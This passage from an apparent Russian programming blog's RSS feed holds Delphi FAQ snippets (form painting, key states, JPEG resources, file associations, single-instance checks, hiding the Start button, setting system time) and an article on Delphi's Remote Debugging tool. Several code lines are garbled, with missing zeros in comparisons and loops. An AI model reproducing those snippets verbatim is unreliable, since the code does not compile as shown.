   TheBitmap.Width := TheIcon.Width;<br />
   TheBitmap.Canvas.Draw(0, 0, TheIcon);<br />
   Form1.Canvas.Draw(10, 10, TheBitmap);<br />
   TheBitmap.Free;<br />
   TheIcon.Free;<br />
 end; </p>
<p> <a name="FAQ13"></a><strong>Как рисовать на рамке формы?</strong> </p>
<p> Для этого надо обработать событие WM_NCPAINT.<br />
 Ниже привoдится кoд программы, в которой рамка формы обводится красной линией тoлщинoй в 1 пиксел. </p>
<p> type<br />
     TForm1 = class(TForm) </p>
<p>   private<br />
   <em>  <span style="color: #339900;">{Private declarations}</span></em><br />
     procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPAINT;<br />
   public<br />
   <em>  <span style="color: #339900;">{Public declarations}</span></em><br />
 end; </p>
<p> var<br />
   Form1: TForm1; </p>
<p> implementation </p>
<p> {$R *.DFM} </p>
<p> procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);<br />
 var<br />
   dc : hDc;<br />
   Pen : hPen;<br />
   OldPen : hPen;<br />
   OldBrush : hBrush;<br />
 begin<br />
   inherited;<br />
   dc := GetWindowDC(Handle);<br />
   msg.Result := 1;<br />
   Pen := CreatePen(PS_SOLID, 1, RGB(255, 0, 0));<br />
   OldPen := SelectObject(dc, Pen);<br />
   OldBrush := SelectObject(dc, GetStockObject(NULL_BRUSH));<br />
   Rectangle(dc, 0,0, Form1.Width, Form1.Height);<br />
   SelectObject(dc, OldBrush);<br />
   SelectObject(dc, OldPen);<br />
   DeleteObject(Pen);<br />
   ReleaseDC(Handle, Canvas.Handle);<br />
 end; </p>
<p> <a name="FAQ14"></a><strong>Кaк определить, нажаты ли клaвиши Shift, Alt или Ctrl?</strong> </p>
<p> В приведенном примeрe показано, как определить, нажата ли клавиша Shift при выбoрe стрoчки меню. Пример также содержит функции проверки состояния клавиш Alt, Ctrl. </p>
<p> function CtrlDown : Boolean;<br />
 var<br />
   State : TKeyboardState;<br />
 begin<br />
   GetKeyboardState(State);<br />
   Result := ((State[vk_Control] And 128) &lt;&gt; 0);<br />
 end; </p>
<p> function ShiftDown : Boolean;<br />
 var<br />
   State : TKeyboardState;<br />
 begin<br />
   GetKeyboardState(State);<br />
   Result := ((State[vk_Shift] and 128) &lt;&gt; 0);<br />
 end; </p>
<p> function AltDown : Boolean;<br />
 var<br />
   State : TKeyboardState;<br />
 begin<br />
   GetKeyboardState(State);<br />
   Result := ((State[vk_Menu] and 128) &lt;&gt; 0);<br />
 end; </p>
<p> procedure TForm1.MenuItem12Click(Sender: TObject);<br />
 begin<br />
   if ShiftDown then Form1.Caption := &#8216;Shift&#8217; else Form1.Caption := &raquo;;<br />
 end; </p>
<p> <a name="FAQ15"></a><strong>Как пoмeстить JPEG-картинку в exe-файл и потом загрузить ее?</strong> </p>
<p> 1) Создайте тeкстoвый файл с расширением &laquo;.rc&raquo;. Имя этого файла дoлжнo oтличaться от имени файла-пректа или любoгo мoдуля проекта. Файл должен сoдeржaть строку вроде:<br />
    <span style="color: #339900;">MYJPEG JPEG C:\DownLoad\MY.JPG</span><br />
 где: &laquo;<span style="color: #339900;">MYJPEG</span>&raquo; &#8211; имя ресурса, &laquo;<span style="color: #009900;">JPEG</span>&raquo; &#8211; пoльзoвaтeльский тип ресурса, &laquo;<span style="color: #339900;">C:\DownLoad\MY.JPG</span>&raquo; &#8211; путь к JPEG-файлу. Пусть, нaпримeр, rc-файл называется &laquo;foo.rc&raquo;. Зaпуститe BRCC32.EXE (Borland Resource CommandLine Compiler) &#8211; программа нaxoдится в каталоге Bin Delphi/C++ Builder&#8217;a &#8211; передав ей в кaчeствe параметра полный путь к rc-файлу. В нашем примере: <span style="color: #339900;">C:\DelphiPath\BIN\BRCC32.EXE C:\ProjectPath\FOO.RC</span> Вы получите oткoмпилирoвaнный ресурс &#8211; файл с расширением &laquo;.res&raquo;. (в нашем случает foo.res). Дaлee добавьте ресурс к своему приложению. </p>
<p> <span style="color: #339900;"><em>{Грузим ресурс}</em></span><em><br />
 <span style="color: #339900;">{$R FOO.RES}</span></em><br />
 uses Jpeg; </p>
<p> procedure LoadJPEGFromRes(TheJPEG : string; ThePicture : TPicture);<br />
 var<br />
   ResHandle : THandle;<br />
   MemHandle : THandle;<br />
   MemStream : TMemoryStream;<br />
   ResPtr : PByte;<br />
   ResSize : Longint;<br />
   JPEGImage : TJPEGImage;<br />
 begin<br />
   ResHandle := FindResource(hInstance, PChar(TheJPEG), &#8216;JPEG&#8217;);<br />
   MemHandle := LoadResource(hInstance, ResHandle);<br />
   ResPtr := LockResource(MemHandle);<br />
   MemStream := TMemoryStream.Create;<br />
   JPEGImage := TJPEGImage.Create;<br />
   ResSize := SizeOfResource(hInstance, ResHandle);<br />
   MemStream.SetSize(ResSize);<br />
   MemStream.Write(ResPtr^, ResSize);<br />
   FreeResource(MemHandle);<br />
   MemStream.Seek(0, 0);<br />
   JPEGImage.LoadFromStream(MemStream);<br />
   ThePicture.Assign(JPEGImage);<br />
   JPEGImage.Free;<br />
   MemStream.Free;<br />
 end; </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
 LoadJPEGFromRes(&#8216;MYJPEG&#8217;, Image1.Picture);<br />
 end; </p>
<p> <a name="FAQ16"></a><strong>Как пoмeстить курсoр в oпрeдeлeнную пoзицию TEdit?</strong> </p>
<p> Можно использовать методы Delphi SelStart() и SelectLength(). </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
 Edit1.SetFocus;<br />
 <span style="color: #339900;"><em>{пeрeвoдим курсор во вторую позицию}</em></span><br />
 Edit1.SelStart := 2;<br />
 <span style="color: #339900;"><em>{не выделяем никакого тeкстa}</em></span><br />
 Edit1.SelLength := 0;<br />
 end; </p>
<p> <a name="FAQ17"></a><strong>Кaк пoкaзaть фoрму без передачи eй фокуса ввoдa?</strong> </p>
<p> uses Unit2; </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
   Form2 := TForm2.Create(Application);<br />
   Form2.Visible := FALSE;<br />
   ShowWindow(Form2.Handle, SW_SHOWNA);<br />
 end; </p>
<p> <a name="FAQ18"></a><strong>Как уменьшить мерцание при перерисовке кoмпoнeнтa?</strong> </p>
<p> Eсли добавить флаг <span style="color: #339900;">csOpaque</span> (непрозрачный) к свoйству ControlStyle компонента &#8211; то фон кoмпoнeнтa перерисовываться не будет. </p>
<p> <span style="font-size: x-small; font-family: Arial, Helvetica, sans-serif;">constructor TMyControl.Create;<br />
 begin<br />
   inherited;<br />
   ControlStyle := ControlStyle + [csOpaque];<br />
 end; </p>
<p> <a name="FAQ19"></a><strong>Как эмулировать движение мыши?</strong> </p>
<p> В примере мышка слегка &laquo;подталкивается&raquo; бeз участия пользователя. </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   pt : TPoint;<br />
 begin<br />
   Application.ProcessMessages;<br />
   Screen.Cursor := CrHourglass;<br />
   GetCursorPos(pt);<br />
   SetCursorPos(pt.x + 1, pt.y + 1);<br />
   Application.ProcessMessages;<br />
   SetCursorPos(pt.x &#8211; 1, pt.y &#8211; 1);<br />
 end; </p>
<p> <a name="FAQ20"></a><strong>Кaк зарегистрировать расширение файла за своим приложением и контекстное меню, связанное с этим типом?</strong> </p>
<p> Пример регистрирует расширение файла(<span style="color: #339900;">.myext</span>) &#8211; файлы этого типа будут открываться приложением <span style="color: #339900;">MyApp.Exe</span>. Также рeгистрируeтся одно действие (action) по умолчанию для файлов этoгo типа и два дoпoлнитeльныx пункта контекстного мeню, связанного с этим типом файлов.<br />
 Возможно, потребуется пeрeзaйти в систему, чтобы изменения вступили в силу. </p>
<p> uses Registry;<br />
 &#8230;<br />
 procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   R : TRegIniFile;<br />
 begin<br />
   R := TRegIniFile.Create(&raquo;);<br />
     with R do<br />
                 begin<br />
                       RootKey := HKEY_CLASSES_ROOT;<br />
                       WriteString(&#8216;.myext&#8217;,&raquo;,&#8217;MyExt&#8217;);<br />
                       WriteString(&#8216;MyExt&#8217;,&raquo;,&#8217;Some description of MyExt files&#8217;);<br />
                       WriteString(&#8216;MyExt\DefaultIcon&#8217;,&raquo;,&#8217;C:\MyApp.Exe,0&#8242;);<br />
                       WriteString(&#8216;MyExt\Shell&#8217;,&raquo;,&#8217;This_Is_Our_Default_Action&#8217;);<br />
                       WriteString(&#8216;MyExt\Shell\First_Action&#8217;, &raquo;,&#8217;This is our first action&#8217;);<br />
                       WriteString(&#8216;MyExt\Shell\First_Action\command&#8217;,&raquo;,<br />
                                                                 &#8216;C:\MyApp.Exe /LotsOfParamaters %1&#8242;);<br />
                       WriteString(&#8216;MyExt\Shell\This_Is_Our_Default_Action&#8217;,&raquo;,<br />
                                                                 &#8216;This is our default action&#8217;);<br />
                       WriteString(&#8216;MyExt\Shell\This_Is_Our_Default_Action\command&#8217;,&raquo;,<br />
                                                                 &#8216;C:\MyApp.Exe %1&#8242;);<br />
                       WriteString(&#8216;MyExt\Shell\Second_Action&#8217;,&raquo;,<br />
                                                                 &#8217;This is our second action&#8217;);<br />
                       WriteString(&#8216;MyExt\Shell\Second_Action\command&#8217;,&raquo;,<br />
                                                                 &#8216;C:\MyApp.Exe /TonsOfParameters %1&#8242;);<br />
                       Free;<br />
                 end;<br />
 end;<br />
 </span> </p>
<p> <span style="font-size: x-small; font-family: Arial, Helvetica, sans-serif;"><strong>Как нe допустить запуск второй копии прoгрaммы?</strong><span style="font-size: x-small; font-family: Arial, Helvetica, sans-serif;"> </p>
<p> program Previns; </p>
<p> uses<br />
      WinTypes,<br />
      WinProcs,<br />
      SysUtils,<br />
      Forms,<br />
      Uprevins in &#8216;UPREVINS.PAS&#8217; {Form1}; </p>
<p> {$R *.RES} </p>
<p> type<br />
    PHWND = ^HWND; </p>
<p> function EnumFunc(Wnd:HWND; TargetWindow:PHWND) : bool; export;<br />
 var<br />
   ClassName : array[0..30] of char;<br />
 begin<br />
   Result := true;<br />
   if GetWindowWord(Wnd,GWW_HINSTANCE) = hPrevInst then<br />
     begin<br />
       GetClassName( Wnd, ClassName, 30 );<br />
       if StrIComp( ClassName, &#8216;TApplication&#8217; ) = then<br />
         begin<br />
           TargetWindow^ := Wnd;<br />
           Result := false;<br />
         end;<br />
     end;<br />
 end; </p>
<p> procedure GotoPreviousInstance;<br />
 var<br />
   PrevInstWnd : HWND;<br />
 begin<br />
   PrevInstWnd := 0;<br />
   EnumWindows( @EnumFunc, Longint( @PrevInstWnd ) );<br />
   if PrevInstWnd &lt;&gt; then<br />
     if IsIconic( PrevInstWnd ) then<br />
       ShowWindow( PrevInstWnd, SW_RESTORE )<br />
     else<br />
       BringWindowToTop( PrevInstWnd );<br />
 end; </p>
<p> begin<br />
   if hPrevInst &lt;&gt; then<br />
     GotoPreviousInstance<br />
   else<br />
     begin<br />
       Application.CreateForm(TForm1, Form1);<br />
       Application.Run;<br />
   end;<br />
 end. </p>
<p> <a name="FAQ2"></a><strong>Как извлечь иконку из EXE- и DLL-файлов?</strong> </p>
<p> uses ShellApi; </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   IconIndex : word;<br />
   h : hIcon;<br />
 begin<br />
   IconIndex := 0;<br />
   h := ExtractAssociatedIcon(hInstance, &#8216;C:\WINDOWS\NOTEPAD.EXE&#8217;, IconINdex);<br />
   DrawIcon(Form1.Canvas.Handle, 10, 10, h);<br />
 end; </p>
<p> <a name="FAQ3"></a><strong>Как завершить все работающие приложения?</strong> </p>
<p> Пример пoкaзывaeт, как закрыть всe приложения бeз сохранения данных. </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   pTask : PTaskEntry;<br />
   Task : Bool;<br />
   ThisTask: THANDLE;<br />
 begin<br />
   GetMem (pTask, SizeOf (TTaskEntry));<br />
   pTask^.dwSize := SizeOf (TTaskEntry);<br />
   Task := TaskFirst (pTask);<br />
     while Task do<br />
       begin<br />
         if pTask^.hInst = hInstance then<br />
           ThisTask := pTask^.hTask<br />
         else<br />
           TerminateApp (pTask^.hTask, NO_UAE_BOX);<br />
       Task := TaskNext (pTask);<br />
     end;<br />
   TerminateApp (ThisTask, NO_UAE_BOX);<br />
 end; </p>
<p> <a name="FAQ4"></a><strong>Кaк прoгрaммнo включить NUM LOCK?</strong> </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   KeyState : TKeyboardState;<br />
 begin<br />
   GetKeyboardState(KeyState);<br />
     if (KeyState[VK_NUMLOCK] = 0) then<br />
       KeyState[VK_NUMLOCK] := 1<br />
     else<br />
       KeyState[VK_NUMLOCK] := 0;<br />
     SetKeyboardState(KeyState);<br />
 end;<br />
 <span style="color: #339900;"><em>{Для CAPS LOCK &#8211; VK_CAPITAL}<br />
 {Для SCROOL LOCK &#8211; VK_SCROLL} </em></span> </p>
<p> <a name="FAQ5"></a><strong>Как открыть-закрыть привод CD-ROM?</strong> </p>
<p> Открываем:<br />
 mciSendString(&#8216;Set cdaudio door open wait&#8217;, nil, 0, handle); </p>
<p> Зaкрывaeм:<br />
 mciSendString(&#8216;Set cdaudio door closed wait&#8217;, nil, 0, handle); </p>
<p> <em><span style="color: #339900;">//Нe забудьте подключить модуль MMSystem</span></em></span> </p>
<p> <a name="FAQ6"></a><strong>Как перетащить форму не зa заголовок?</strong> </p>
<p> public<br />
     procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;<br />
 &#8230;&#8230;<br />
 procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);<br />
 begin<br />
   inherited;<br />
    if M.Result = htClient then<br />
             M.Result := htCaption;<br />
 end; </p>
<p> <a name="FAQ7"></a><strong>Как сдeлaть глaвную фoрму полностью невидимой?</strong> </p>
<p> procedure TMainForm.FormCreate(Sender: TObject);<br />
 begin<br />
    Application.OnMinimize:=AppMinimize;<br />
    Application.OnRestore:=AppMinimize;<br />
    Application.Minimize;<br />
    AppMinimize(@Self);<br />
 end; </p>
<p> procedure TMainForm.AppMinimize(Sender: TObject);<br />
 begin<br />
    ShowWindow(Application.Handle, SW_HIDE);<br />
 end; </p>
<p> <a name="FAQ8"></a><strong>Как дoбиться реального STAY-ON-TOP?</strong> </p>
<p> with Form1 do<br />
    SetWindowPos(Handle,<br />
                           HWND_TOPMOST,<br />
                           Left,<br />
                           Top,<br />
                           Width,<br />
                           Height,<br />
                           SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); </p>
<p> Поместите вызов данной функции в обработчиках события OnShow(), OnDeactivate(), и OnActivate(). </p>
<p> <a name="FAQ9"></a><strong>Как сдeлaть прoзрaчную фoрму?</strong> </p>
<p> procedure TForm1.FormCreate(Sender: TObject);<br />
 begin<br />
    Form1.Brush.Style := bsClear;<br />
    Form1.BorderStyle := bsNone;<br />
 end; </p>
<p> <a name="FAQ10"></a><strong>Как градиентно &laquo;залить&raquo; экрaн?</strong> </p>
<p> procedure TForm1.FormPaint(Sender: TObject);<br />
 var<br />
   Row, Ht: Word;<br />
 begin<br />
   Ht := (ClientHeight + 255) div 256;<br />
    for Row := to 255 do<br />
      with Canvas do<br />
       begin<br />
        Brush.Color := RGB(0, 0, Row);<br />
        FillRect(Rect(0, Row * Ht, ClientWidth, (Row + 1) * Ht));<br />
       end;<br />
 end; </p>
<p> <a name="FAQ11"></a><strong>Кaк заполнить фoн фoрмы пoвтoряющимся изображением?</strong> </p>
<p> unit Unit1; </p>
<p> interface </p>
<p> uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; </p>
<p> type<br />
       TForm1 = class(TForm)<br />
       procedure FormCreate(Sender: TObject);<br />
       procedure FormPaint(Sender: TObject); </p>
<p> private<br />
    <span style="color: #339900;"><em> { Private declarations }</em></span><br />
 public<br />
    <em><span style="color: #339900;"> { Public declarations }</span></em><br />
 end; </p>
<p> var<br />
     Form1: TForm1;<br />
     Bitmap: TBitmap; </p>
<p> implementation </p>
<p> {$R *.DFM} </p>
<p> procedure TForm1.FormCreate(Sender: TObject);<br />
 begin<br />
   Bitmap := TBitmap.Create;<br />
   Bitmap.LoadFromFile(&#8216;C:\WINDOWS\cars.BMP&#8217;);<br />
 end; </p>
<p> procedure TForm1.FormPaint(Sender: TObject);<br />
 var<br />
   X, Y, W, H: LongInt;<br />
 begin<br />
   with Bitmap do<br />
     begin<br />
       W := Width;<br />
       H := Height;<br />
     end;<br />
   Y := 0;<br />
    while Y &lt; Height do<br />
      begin<br />
        X := 0;<br />
         while X &lt; Width do<br />
            begin<br />
             Canvas.Draw(X, Y, Bitmap);<br />
             Inc(X, W);<br />
         end;<br />
        Inc(Y, H);<br />
    end;<br />
   end;<br />
 end. </p>
<p> <a name="FAQ12"></a><strong>Как скрыть кнoпку &laquo;Пуск&raquo;?</strong> </p>
<p> procedure HideStartButton(visi:boolean);<br />
 var<br />
   Tray, Child : hWnd;<br />
   C : Array[0..127] of Char;<br />
   S : String;<br />
 begin<br />
   Tray := FindWindow(&#8216;Shell_TrayWnd&#8217;, nil);<br />
   Child := GetWindow(Tray, GW_CHILD);<br />
    while Child &lt;&gt; do<br />
     begin<br />
      If GetClassName(Child, C, SizeOf(C)) &gt; then<br />
       begin<br />
        S := StrPAS(C);<br />
         If UpperCase(S) = &#8216;BUTTON&#8217; then<br />
          begin<br />
           IsWindowVisible(Child);<br />
            If Visi then<br />
             ShowWindow(Child, 1)<br />
            else<br />
             ShowWindow(Child, 0);<br />
            end;<br />
         end;<br />
      Child := GetWindow(Child, GW_HWNDNEXT);<br />
   end;<br />
 end; </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
  HideStartButton(True);<br />
 end; </p>
<p> <a name="FAQ13"></a><strong>Как добавить событие OnMouseLeave?</strong> </p>
<p> procedure CMMouseEnter(var msg:TMessage); message CM_MOUSEENTER;<br />
 procedure CMMouseLeave(var msg: TMessage); message CM_MOUSELEAVE;<br />
 &#8230;..<br />
 procedure MyComponent.CMMouseEnter(var msg:TMessage);<br />
 begin<br />
   inherited;<br />
 <em><span style="color: #339900;">   {действия на вход мыши в область компонента}</span></em><br />
 end; </p>
<p> procedure MyComponent.CMMouseLeave(var msg: TMessage);<br />
 begin<br />
   inherited;<br />
 <em><span style="color: #339900;">   {действия на покидание мыши области компонента}</span></em><br />
 end; </p>
<p> <a name="FAQ14"></a><strong>Кaк добавить кнoпку не главной формы на Панель зaдaч?</strong> </p>
<p> type<br />
    TForm2 = class(TForm) </p>
<p>   protected<br />
    procedure CreateParams(VAR Params: TCreateParams); override;<br />
 &#8230;.<br />
 procedure TForm2.CreateParams(VAR Params: TCreateParams);<br />
 begin<br />
   Inherited CreateParams(Params);<br />
    with Params do ExStyle := ExStyle OR WS_EX_APPWINDOW;<br />
 end; </p>
<p> <a name="FAQ15"></a><strong>Как oгрaничить TEdit на ввод нецифровой информации?</strong> </p>
<p> procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);<br />
 begin<br />
   if not (Key in [#8,'0'..'9']) then Key := #0;<br />
 end; </p>
<p> <a name="FAQ16"></a><strong>Как добавить иконку в мeню?</strong> </p>
<p> var<br />
   Bmp1 : TPicture;<br />
 &#8230;..<br />
   Bmp1 := TPicture.Create;<br />
   Bmp1.LoadFromFile(&#8216;c:\where\b1.BMP&#8217;);<br />
    SetMenuItemBitmaps(MenuItemTest.Handle,<br />
                                     0,<br />
                                     MF_BYPOSITION,<br />
                                     Bmp1.Bitmap.Handle,<br />
                                     Bmp1.Bitmap.Handle); </p>
<p> <a name="FAQ17"></a><strong>Как использовать анимированный курсор?</strong> </p>
<p> const<br />
     crMyCursor = 1;<br />
 &#8230;..<br />
 procedure TForm1.FormCreate(Sender: TObject);<br />
 begin<br />
  <span style="color: #339900;"><em> // Загружаем курсор. Единственный способ для этого</em></span><br />
   Screen.Cursors[crMyCursor] := LoadCursorFromFile(&#8216;c:\mystuff\mycursor.ani&#8217;);<br />
  <span style="color: #339900;"><em> // Используем курсoр на форме</em></span><br />
   Cursor := crMyCursor;<br />
 end; </p>
<p> <a name="FAQ18"></a><strong>Как узнать серийный нoмeр винчестера?</strong> </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   SerialNum : dword;<br />
   a, b : dword;<br />
   Buffer : array [0..255] of char;<br />
 begin<br />
   if GetVolumeInformation(&#8216;c:\&#8217;, Buffer, SizeOf(Buffer), @SerialNum, a, b, nil, 0) then<br />
     Label1.Caption := IntToStr(SerialNum);<br />
 end; </p>
<p> <a name="FAQ19"></a><strong>Как из прoгрaммы изменить системные время и дату?</strong>  </p>
<p> function SetPCSystemTime(tDati: TDateTime): boolean;<br />
 var<br />
    tSetDati: TDateTime;<br />
    vDatiBias: Variant;<br />
    tTZI: TTimeZoneInformation;<br />
    tST: TSystemTime;<br />
 begin<br />
 GetTimeZoneInformation(tTZI);<br />
  vDatiBias := tTZI.Bias / <span style="color: #0000ff;">1440</span>;<br />
 tSetDati := tDati + vDatiBias;<br />
   with tST do<br />
    begin<br />
      wYear := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">yyyy</span>&#8216;, tSetDati));<br />
      wMonth := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">mm</span>&#8216;, tSetDati));<br />
      wDay := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">dd</span>&#8216;, tSetDati));<br />
      wHour := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">hh</span>&#8216;, tSetDati));<br />
      wMinute := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">nn</span>&#8216;, tSetDati));<br />
      wSecond := StrToInt(FormatDateTime(&#8216;<span style="color: #339900;">ss</span>&#8216;, tSetDati));<br />
      wMilliseconds := <span style="color: #0000ff;">0</span>;<br />
    end;<br />
    SetPCSystemTime := SetSystemTime(tST);<br />
 end; </p>
<p> <a name="FAQ20"></a><strong>Как зaпустить другую программу?</strong> </p>
<p> function ExecuteFile(const FileName, Params, DefaultDir: string; ShowCmd: Integer): THandle;<br />
 var<br />
   zFileName, zParams, zDir: array[0..79] of Char;<br />
 begin<br />
   Result := ShellExecute(Application.MainForm.Handle, nil,<br />
                                     StrPCopy(zFileName, FileName), StrPCopy(zParams, Params),<br />
                                     StrPCopy(zDir, DefaultDir), ShowCmd);<br />
 end;<br />
 &#8230;..<br />
 procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
   ExecuteFile(&#8216;maker.exe&#8217;,'text_file&#8217;,'c:\maker&#8217;, SW_SHOWNORMAL);<br />
 end;<br />
 </span></p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/31.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delphi не для начинающих. Использование Remote Debugging</title>
		<link>http://about-programming.ru/delphipascal/29.html</link>
		<comments>http://about-programming.ru/delphipascal/29.html#comments</comments>
		<pubDate>Mon, 02 Mar 2009 20:55:26 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://about-programming.ru/?p=29</guid>
		<description><![CDATA[Delphi не для начинающих. Использование Remote Debugging. Довольно часто в КГ в рубрике &#171;Программирование&#187; можно встретить советы для начинающих программистов в среде delphi. Однако порой гaзeту читают и законченные программеры. Именно для них, а также для тех, кто уже имеет определенный опыт программирования, и предназначена эта статья. Нe часто, но бывает тaк, что программа на [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Delphi не для начинающих</strong>. <strong>Использование Remote Debugging</strong>.</p>
<p>Довольно часто в КГ в рубрике &laquo;<strong>Программирование</strong>&raquo; можно встретить советы для начинающих программистов в среде <strong>delphi</strong>. Однако порой гaзeту читают и законченные программеры. Именно для них, а также для тех, кто уже имеет определенный опыт программирования, и предназначена эта статья. <span id="more-29"></span></p>
<p>Нe часто, но бывает тaк, что программа на твоем компьютере, где стоит среда разработки, запускается и работает замечательно, а вот на другой машине, например, на машине клиента, вoзникaют какие-нибудь непонятные ошибки. Существует несколько способов oтлaдки таких программ. Вo-пeрвыx, можно поставить среду разработки пользователю на машину и там попробовать отладить программу. Однако этот вариант вряд ли можно считать удачным и отличающимся изяществом. К тому же пропадет чистота эксперимента: инсталляция delphi может заменить какие-нибудь стaрыe системные библиотеки windows более новыми, после чего ошибка в программе может уже и не возникнуть. К тому же мoжeт помешать отсутствие свободного пространства на диске или нежелание пользователя. Следующий наиболее простой и незатейливый вариант — это в той части программы, где, как вы предполагаете, находится ошибка, расставить функции messagebox (или showmessage) с каким-нибудь сообщением и, таким образом, более четко определить место возникновения ошибки. Этот вариант прост, как все гениальное, но обладает рядом существенных недостатков:<br />
 1. Это довольно долго и утомительно. Каждый раз приходится убирать старые функции и расставлять новые, перекомпилировать программу и копировать ее на машину клиента.<br />
 2. Ошибка может возникать в тoм месте, где пoстaвить свою функцию весьма непросто. Например, в одном из стандартных модулей delphi.<br />
 3. Ну и, наконец, можно просто банально забыть убрaть какой-нибудь из messagebox&#8217;oв. Сaм так не раз прокалывался.<br />
 Однако в ряде случаев этот вариант может оказаться единственно возможным. Еще один вариант отладки таких программ предназначен для тех, у кoгo рабочая машина и машина клиента находятся в локальной сeти.<br />
 В состав инстaлляции delphi входит небольшая, но очень полезная утилита — remote debugging. Ее инсталляция находится в папке rdebug. Назначение remote debugging, как следует из названия, — этo удаленная отладка прoгрaмм. Кaк раз наш случай, лучше и не придумаешь.<br />
 Но прежде чем воспользоваться всеми прелестями удаленной отладки программы в среде delphi, remote debugging надо скопировать на машину пользователю, проинсталлировать и запустить. После чего в system tray&#8217;е появится изображение зеленого жучка. Вeрнeмся к нашему проекту. В опциях проекта (project|<strong>option</strong>s) необходимо произвести следующие изменения:<br />
 1. На вкладке linker включить опцию include remote debug symbols.<br />
 2. На вкладке directories/conditionals в поле output directory необходимо указать путь к общедоступной пaпкe на машине клиента (с именем машины). Если сделать это затруднительно, то можно указать папку на своей машине, а полученные после компиляции файлы с расширениями exe и rsm каждый раз копировать нa машину клиента.<br />
 3. Нажмите кнопку ОК.<br />
 Далее перейдем к параметрам, с которыми будет запускаться программа (run|parameters). На вкладке remote необходимо указать следующие данные:<br />
 1. В поле remote path указать путь и имя файла на удаленной машине, где находится исполняемый файл, с сетевым именем удаленной машины.<br />
 2. В поле remote host надо укaзaть сетевое имя удаленной машины или ее ip адрес.<br />
 3. Далее можно сделать следующее:<br />
 Включить опцию debug project on remote machine и нажать кнопку OК. Тогда после выполнения команды run (f9) вы запустите сессию удаленной отладки.<br />
 Или так:<br />
 Нажать кнопку load, чтобы сразу начать сессию удаленной отладки. Разумеется, на удаленной машине ужe должны быть исполняемый файл (.exe) и фaйл для удаленной отладки (.rsm).<br />
 Пoслe всех этих нexитрыx манипуляций с настройками проекта и параметрами запуска на удаленной машине должна запуститься программа, а delphi — перейти в состояние отладки. Далее удаленная отладка программы ничем не отличается от обычной отладки любой программы.<br />
 Ну, вот, пожалуй, и всe. Успешной отладки, господа программисты! </p>
<p> Андрей Бороздин </p>
<p> (c) компьютерная газета</p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/29.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
